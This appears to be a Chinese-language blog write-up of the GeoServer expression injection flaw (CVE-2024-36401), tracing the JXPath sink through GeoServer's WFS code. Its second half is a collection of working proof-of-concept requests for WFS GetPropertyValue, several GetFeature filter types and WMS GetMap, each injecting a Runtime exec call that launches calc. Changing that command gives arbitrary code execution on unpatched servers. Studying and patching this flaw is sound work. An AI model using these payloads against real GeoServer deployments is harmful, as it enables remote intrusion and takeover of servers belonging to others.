GeoServer表达式注入代码执行漏洞 概述 信息参考 :https://avd.aliyun.com/detail?id=AVD-2024-36401 披露时间 : 2024.7.2github源码 :https://github.com/geoserver/geoserver 分析版本 :2.25.0漏洞版本 : 2.25.0 <= GeoServer < 2.25.2 2.24.0 <= GeoServer < 2.24.4 GeoServer < 2.23.6
阐述:GeoServer由于GeoTool组件使用了含有漏洞的commons-jxpath组件导致表达式注入漏洞 相关信息: 漏洞通告:https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv GeoTool组件通告:https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w Jxpath漏洞利用:https://github.com/Warxim/CVE-2022-41852?tab=readme-ov-file#workaround-for-cve-2022-41852
前置知识: JXPath表达式注入 可参考:https://www.yuque.com/yyjccc/pk74ko/zzgiottebwxay9e7
环境搭建 下载war包:https://sourceforge.net/projects/geoserver/files 手动部署到Tomcat中,然后开启tomcat远程调试
./catalina.bat jpda start
下载源码开启远程调式
然后用poc跑一下,发现是用参数控制路由的,逆向看看:
geoserver虽然使用了spring,但还是在OWS模块定义了Dispatcher总的控制器
因此控制的流程还得看这个类 以下载的war包为例子,web.xml
<servlet > <servlet-name > dispatcher</servlet-name > <servlet-class > org.springframework.web.servlet.DispatcherServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > dispatcher</servlet-name > <url-pattern > /*</url-pattern > </servlet-mapping >
在handleRequestInternal方法中可以看到是通过请求查找服务的 sevice方法中,如果请求方法是post方法,就会解析请求体的xml数据,然后你拿到对应的服务 接着在handleRequestInternal方法中分发对应的方法,再进行调用
## 漏洞分析
根据漏洞公告:未提供公开 PoC,但已确认可通过 WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic 和 WPS 执行请求利用此漏洞。
由于GeoServer 调用的 GeoTools 库存在问题,GeoTools存在Jxpath漏洞的利用,然后Geoserver又能通过发送OGC请求去调用到存在漏洞的触发点
根据GeoTool的漏洞通告: 通过以下方法将 XPath 表达式传递到 commons-jxpath 库,该库可以执行任意代码,并且如果 XPath 表达式由用户输入提供,则会出现安全问题(geotool组件的问题)。
org.geotools.appschema.util.XmlXpathUtilites.getXPathValues(NamespaceSupport, String, Document)
org.geotools.appschema.util.XmlXpathUtilites.countXPathNodes(NamespaceSupport, String, Document)
org.geotools.appschema.util.XmlXpathUtilites.getSingleXPathValue(NamespaceSupport, String, Document)
org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.get(Object, String, Class)
org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.set(Object, String, Object, Class)
org.geotools.data.complex.expression.MapPropertyAccessorFactory.new PropertyAccessor() {…}.get(Object, String, Class)
org.geotools.xsd.StreamingParser.StreamingParser(Configuration, InputStream, String)
Geoserver的漏洞通告中直接给出了可能存在的漏洞请求,以及请求方法如下
WFS GetFeature
WFS GetPropertyValue
WMS GetMap
WMS GetFeatureInfo
WMS GetLegendGraphic
WPS Execute
Web Feature Service (WFS)是开放地理空间联盟(OGC)创建的一个标准,用于在互联网上使用HTTP创建、修改和交换矢量格式的地理信息。WFS以地理标记语言(GML)编码和传输信息,GML是XML的一个子集。https://www.osgeo.cn/geoserver-user-manual/services/wfs/reference.html 以上是Geoserver对于wfs的介绍,其实就可以理解为一个协议,能够访问通过http访问地理信息的协议,然后该协议在不同版本有许多操作
GetPropertyValue 我们需要利用的就是存在于2.0.0版本的GetPropertyValue操作 从数据存储中为使用查询表达式标识的一组功能检索功能属性的值或复杂功能属性的部分值 从描述就可以发现他是通过表达式语言查询对应的Property属性,这里具体指的就是特定地理特征类型(如地图中的河流、建筑物等)的描述信息,包括其属性和其他特性的定义。
接着直接就在官网的文档找到了WFS GetPropertyValue的样例https://www.osgeo.cn/geoserver-user-manual/services/wfs/reference.html 然后构造请求修改一下valueReference参数的值就能成功RCE 实际情况命名空间需要自己获取 获取api:直接访问:/geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage 即可 可能有些需要认证,哪个能用用哪个 下面是几个默认的(实际中不一定有):
示例poc:
POST /geoserver/wfs HTTP/1.1 Host: 127.0.0.1:7878 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 356 <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'calc')</wfs:valueReference> </wfs:GetPropertyValue>
等价的get请求
/geoserver/wfs?service=WFS&version=2.0 .0 &request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'calc' )
然后定位到GetPropertyValue#run方法 跟进property方法 返回的是AttributeExpressionImpl对象 这里可以看到,传入的name,赋值给attpath属性,可知request.getValueReference(),即ValueReference标签对应着xpath表达式 那么,就是这样控制xpath表达式的,接着看怎么执行的 跟进AttributeExpressionImpl#evaluate方法 也是将上面赋值的attPath传入了
也是来到了漏洞api :FeaturePropertyAccessorFactory#get 这里iteratePointers方法就能触发了漏洞了,可以参考之前的文章
GetFeature 这个请求是用于从服务器检索地理空间要素的全部或部分属性及几何信息,而通过前面的漏洞的分析我们很容易知道漏洞触发点是在属性名查询这里,所以这里的GetFeature请求我们重点关注一下filter过滤逻辑部分,对于属性名的处理
void validateFilter ( Filter filter, Query query, final FeatureTypeInfo meta, final GetFeatureRequest request) throws IOException { final FeatureType featureType = meta.getFeatureType(); ExpressionVisitor visitor = new AbstractExpressionVisitor () { @Override public Object visit (PropertyName name, Object data) { if (name.evaluate(featureType) == null && !isGmlBoundedBy(name)) { throw new WFSException ( request, "Illegal property name: " + name.getPropertyName() + " for feature type " + meta.prefixedName(), "InvalidParameterValue" ); } return name; } }; filter.accept(new AbstractFilterVisitor (visitor), null ); AbstractFilterVisitor fvisitor = new AbstractFilterVisitor () { @Override protected Object visit (BinarySpatialOperator filter, Object data) { PropertyName name = null ; if (filter.getExpression1() instanceof PropertyName) { name = (PropertyName) filter.getExpression1(); } else if (filter.getExpression2() instanceof PropertyName) { name = (PropertyName) filter.getExpression2(); } if (name != null ) { AttributeDescriptor att = (AttributeDescriptor) name.evaluate(featureType); if (!(att instanceof GeometryDescriptor) && !isGmlBoundedBy(name)) { throw new WFSException ( request, "Property " + name + " is not geometric in feature type " + meta.prefixedName(), "InvalidParameterValue" ); } } return filter; } }; filter.accept(fvisitor, null ); if (wfs.isCiteCompliant()) { if (query.getSrsName() != null ) { final Query fquery = query; fvisitor = new CiteBBOXValidator (fquery, request); filter.accept(fvisitor, null ); } } if (wfs.isCiteCompliant()) { fvisitor = new AbstractFilterVisitor () { @Override protected Object visit (BinaryComparisonOperator filter, Object data) { Expression ex1 = filter.getExpression1(); Expression ex2 = filter.getExpression2(); if (ex1 instanceof PropertyName) { checkNonSpatial((PropertyName) ex1); } if (ex2 instanceof PropertyName) { checkNonSpatial((PropertyName) ex2); } return super .visit(filter, data); } private void checkNonSpatial (PropertyName pn) { AttributeDescriptor ad = (AttributeDescriptor) pn.evaluate(featureType); if (ad instanceof GeometryDescriptor || isGmlBoundedBy(pn)) { throw new WFSException ( request, "Cannot use a spatial property in a alphanumeric binary " + "comparison" ); } } }; filter.accept(fvisitor, null ); }
/geoserver/wms?version=1.3 .0 &bbox=24 ,-130 ,50 ,-66 &Format=image/png&request=GetMap&width=550 &height=250 &crs=EPSG:4326 &SLD_BODY=%3CStyledLayerDescriptor+version%3D %221.1 .0 %22 %3E%3CUserLayer%3E%3CName%3Etopp%3Astates%3C%2FName%3E%3CUserStyle%3E%3CName%3EUserSelection%3C%2FName%3E%3CFeatureTypeStyle%3E%3CRule%3E%3CFilter%3E%3CPropertyIsEqualTo%3E%3CPropertyName%3Eexec%28java.lang.Runtime.getRuntime%28 %29 %2C%22calc%22 %29 %3C%2FPropertyName%3E%3CLiteral%3EIllinois%3C%2FLiteral%3E%3C%2FPropertyIsEqualTo%3E%3C%2FFilter%3E%3CPolygonSymbolizer%3E%3CFill%3E%3CSvgParameter+name%3D %22fill%22 %3E%23FF0000%3C%2FSvgParameter%3E%3C%2FFill%3E%3C%2FPolygonSymbolizer%3E%3C%2FRule%3E%3CRule%3E%3CLineSymbolizer%3E%3CStroke%2F %3E%3C%2FLineSymbolizer%3E%3C%2FRule%3E%3C%2FFeatureTypeStyle%3E%3C%2FUserStyle%3E%3C%2FUserLayer%3E%3C%2FStyledLayerDescriptor%3E
跟上面的一样是从evalute走入的
## 其他Poc
### BBOX-1.0
post: <wfs:GetFeature service="WFS" version="1.0.0" xmlns:topp="http://www.openplans.org/topp" xmlns:wfs="http://www.opengis.net/wfs" xmlns:ogc="http://www.opengis.net/ogc" xmlns:gml="http://www.opengis.net/gml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.opengis.net/wfs"> <wfs:Query typeName="topp:states"> <ogc:Filter> <ogc:BBOX> <ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName> <gml:Box srsName="http://www.opengis.net/gml/srs/epsg.xml#4326"> <gml:coordinates>-75.102613,40.212597 -72.361859,41.512517</gml:coordinates> </gml:Box> </ogc:BBOX> </ogc:Filter> </wfs:Query> </wfs:GetFeature>
### BBOX-1.1
post: <wfs:GetFeature service="WFS" version="1.1.0" xmlns:topp="http://www.openplans.org/topp" xmlns:wfs="http://www.opengis.net/wfs" xmlns:ogc="http://www.opengis.net/ogc" xmlns:gml="http://www.opengis.net/gml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.opengis.net/wfs"> <wfs:Query typeName="topp:states"> <ogc:Filter> <ogc:BBOX> <ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName> <gml:Envelope srsName="http://www.opengis.net/gml/srs/epsg.xml#4326"> <gml:lowerCorner>-75.102613 40.212597</gml:lowerCorner> <gml:upperCorner>-72.361859 41.512517</gml:upperCorner> </gml:Envelope> </ogc:BBOX> </ogc:Filter> </wfs:Query> </wfs:GetFeature>
### Between-1.0/1.1
<wfs:GetFeature service="WFS" version="1.0.0" xmlns:topp="http://www.openplans.org/topp" xmlns:wfs="http://www.opengis.net/wfs" xmlns:ogc="http://www.opengis.net/ogc" xmlns:gml="http://www.opengis.net/gml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.opengis.net/wfs"> <wfs:Query typeName="topp:states"> <ogc:Filter> <ogc:PropertyIsBetween> <ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName> <ogc:LowerBoundary><ogc:Literal>100000</ogc:Literal></ogc:LowerBoundary> <ogc:UpperBoundary><ogc:Literal>150000</ogc:Literal></ogc:UpperBoundary> </ogc:PropertyIsBetween> </ogc:Filter> </wfs:Query> </wfs:GetFeature> GET: /geoserver/wfs?request=GetFeature&version=1.1.0&typeName=topp:states&propertyName=STATE_NAME,LAND_KM,the_geom&outputFormat=GML2&FILTER=%3CFilter+xmlns%3D%22http%3A%2F%2Fwww.opengis.net%2Fogc%22%3E%3CPropertyIsBetween%3E%3CPropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2FPropertyName%3E%3CLowerBoundary%3E%3CLiteral%3E100000%3C%2FLiteral%3E%3C%2FLowerBoundary%3E%3CUpperBoundary%3E%3CLiteral%3E150000%3C%2FLiteral%3E%3C%2FUpperBoundary%3E%3C%2FPropertyIsBetween%3E%3C%2FFilter%3E
### Intersects-1.0/1.1
POST: <wfs:GetFeature service="WFS" version="1.0.0" xmlns:topp="http://www.openplans.org/topp" xmlns:wfs="http://www.opengis.net/wfs" xmlns="http://www.opengis.net/ogc" xmlns:gml="http://www.opengis.net/gml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.opengis.net/wfs"> <wfs:Query typeName="topp:states"> <Filter> <Intersects> <PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</PropertyName> </Intersects> </Filter> </wfs:Query> </wfs:GetFeature> GET: /geoserver/wfs?request=GetFeature&version=1.0.0&typeName=topp:states&FILTER=%3CFilter+xmlns%3D%22http%3A%2F%2Fwww.opengis.net%2Fogc%22+xmlns%3Agml%3D%22http%3A%2F%2Fwww.opengis.net%2Fgml%22%3E%3CIntersects%3E%3CPropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2FPropertyName%3E%3Cgml%3APoint+srsName%3D%22EPSG%3A4326%22%3E%3Cgml%3Acoordinates%3E-74.817265%2C40.5296504%3C%2Fgml%3Acoordinates%3E%3C%2Fgml%3APoint%3E%3C%2FIntersects%3E%3C%2FFilter%3E
### NotDisjoint
POST: <wfs:GetFeature service="WFS" version="2.0.0" xmlns:wfs="http://www.opengis.net/wfs/2.0" xmlns:fes="http://www.opengis.net/fes/2.0" xmlns:gml="http://www.opengis.net/gml/3.2" xmlns:sf="http://www.openplans.org/spearfish" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.opengis.net/wfs/2.0 http://schemas.opengis.net/wfs/2.0/wfs.xsd http://www.opengis.net/gml/3.2 http://schemas.opengis.net/gml/3.2.1/gml.xsd"> <wfs:Query typeNames="sf:bugsites"> <fes:Filter> <fes:Not> <fes:Disjoint> <fes:ValueReference>exec(java.lang.Runtime.getRuntime(),"calc")</fes:ValueReference> </fes:Disjoint> </fes:Not> </fes:Filter> </wfs:Query> </wfs:GetFeature> GET: /geoserver/wfs?service=WFS&version=2.0.0&request=GetFeature&typenames=sf:bugsites&filter=%3Cfes%3AFilter+xmlns%3Afes%3D%22http%3A%2F%2Fwww.opengis.net%2Ffes%2F2.0%22+xmlns%3Agml%3D%22http%3A%2F%2Fwww.opengis.net%2Fgml%2F3.2%22%3E%3Cfes%3ANot%3E%3Cfes%3ADisjoint%3E%3Cfes%3AValueReference%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2Ffes%3AValueReference%3E%3Cgml%3APolygon+gml%3Aid%3D%27polygon.1%27+srsName%3D%27http%3A%2F%2Fwww.opengis.net%2Fdef%2Fcrs%2FEPSG%2F0%2F26713%27%3E%3Cgml%3Aexterior%3E%3Cgml%3ALinearRing%3E%3Cgml%3AposList%3E590431+4915204+590430+4915205+590429+4915204+590430+4915203+590431+4915204%3C%2Fgml%3AposList%3E%3C%2Fgml%3ALinearRing%3E%3C%2Fgml%3Aexterior%3E%3C%2Fgml%3APolygon%3E%3C%2Ffes%3ADisjoint%3E%3C%2Ffes%3ANot%3E%3C%2Ffes%3AFilter%3E
### Math
POST: <wfs:GetFeature service="WFS" version="1.0.0" xmlns:topp="http://www.openplans.org/topp" xmlns:wfs="http://www.opengis.net/wfs" xmlns:ogc="http://www.opengis.net/ogc" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.opengis.net/wfs"> <wfs:Query typeName="topp:states"> <ogc:Filter> <ogc:PropertyIsGreaterThan> <ogc:Div> <ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName> <ogc:PropertyName>xxx</ogc:PropertyName> </ogc:Div> <ogc:Literal>0.25</ogc:Literal> </ogc:PropertyIsGreaterThan> </ogc:Filter> </wfs:Query> </wfs:GetFeature> GET: /geoserver/wfs?request=GetFeature&version=1.1.0&typeName=topp:states&formatName=GML2&FILTER=%3Cogc:Filter%20xmlns:ogc=%22http://www.opengis.net/ogc%22%3E%3Cogc:PropertyIsGreaterThan%3E%3Cogc:Div%3E%3Cogc:PropertyName%3EMANUAL%3C/ogc:PropertyName%3E%3Cogc:PropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C/ogc:PropertyName%3E%3C/ogc:Div%3E%3Cogc:Literal%3E0.25%3C/ogc:Literal%3E%3C/ogc:PropertyIsGreaterThan%3E%3C/ogc:Filter%3E
## WMS getMap
GET /geoserver/wms?version=1.3.0&bbox=24,-130,50,-66&Format=image/png&request=GetMap&width=550&height=250&crs=EPSG:4326&SLD_BODY=%3CStyledLayerDescriptor+version%3D%221.1.0%22%3E%3CUserLayer%3E%3CName%3Etopp%3Astates%3C%2FName%3E%3CUserStyle%3E%3CName%3EUserSelection%3C%2FName%3E%3CFeatureTypeStyle%3E%3CRule%3E%3CFilter%3E%3CPropertyIsEqualTo%3E%3CPropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2FPropertyName%3E%3CLiteral%3EIllinois%3C%2FLiteral%3E%3C%2FPropertyIsEqualTo%3E%3C%2FFilter%3E%3CPolygonSymbolizer%3E%3CFill%3E%3CSvgParameter+name%3D%22fill%22%3E%23FF0000%3C%2FSvgParameter%3E%3C%2FFill%3E%3C%2FPolygonSymbolizer%3E%3C%2FRule%3E%3CRule%3E%3CLineSymbolizer%3E%3CStroke%2F%3E%3C%2FLineSymbolizer%3E%3C%2FRule%3E%3C%2FFeatureTypeStyle%3E%3C%2FUserStyle%3E%3C%2FUserLayer%3E%3C%2FStyledLayerDescriptor%3E HTTP/1.1 Host: 127.0.0.1:8085
<?xml version="1.0" encoding="UTF-8"?> <ogc:GetMap xmlns:ogc="http://www.opengis.net/ows" xmlns:gml="http://www.opengis.net/gml" version="1.2.0" service="WMS"> <StyledLayerDescriptor version="1.0.0" xsi:schemaLocation="http://www.opengis.net/sld StyledLayerDescriptor.xsd" xmlns="http://www.opengis.net/sld" xmlns:ogc="http://www.opengis.net/ogc" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dave="http://blasby.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <UserLayer> <Name>Inline</Name> <InlineFeature> <FeatureCollection> <featureMember> <BodyPart> <Type>Mouth</Type> <polygonProperty> <gml:Polygon> <gml:outerBoundaryIs> <gml:LinearRing> <gml:coordinates> 397,226 396,209 396,196 390,185 384,175 368,163 353,155 331,150 308,149 283,148 261,153 231,163 209,175 195,189 186,209 182,221 187,226 193,214 195,205 200,197 203,192 215,185 226,177 241,171 256,167 266,163 281,161 297,161 321,160 341,160 359,168 371,175 382,185 388,197 390,215 390,225 394,226 397,226 </gml:coordinates> </gml:LinearRing> </gml:outerBoundaryIs> </gml:Polygon> </polygonProperty> </BodyPart> </featureMember> </FeatureCollection> </InlineFeature> <UserStyle> <FeatureTypeStyle> <Rule> <Filter> <Or> <PropertyIsEqualTo> <PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</PropertyName> <Literal>Eye</Literal> </PropertyIsEqualTo> </Or> </Filter> <PolygonSymbolizer> <Fill> <CssParameter name="fill"> <ogc:Literal>#DD06E0</ogc:Literal> </CssParameter> <CssParameter name="fill-opacity"> <ogc:Literal>1.0</ogc:Literal> </CssParameter> </Fill> <Stroke> <CssParameter name="stroke"> <ogc:Literal>#FF00FF</ogc:Literal> </CssParameter> </Stroke> </PolygonSymbolizer> </Rule> </FeatureTypeStyle> </UserStyle> </UserLayer> </StyledLayerDescriptor> <BoundingBox> <gml:coord> <gml:X>0</gml:X> <gml:Y>0</gml:Y> </gml:coord> <gml:coord> <gml:X>500</gml:X> <gml:Y>500</gml:Y> </gml:coord> </BoundingBox> <Output> <Format>image/jpeg</Format> <Transparent>false</Transparent> <Size> <Width>501</Width> <Height>501</Height> </Size> </Output> </ogc:GetMap>
Reference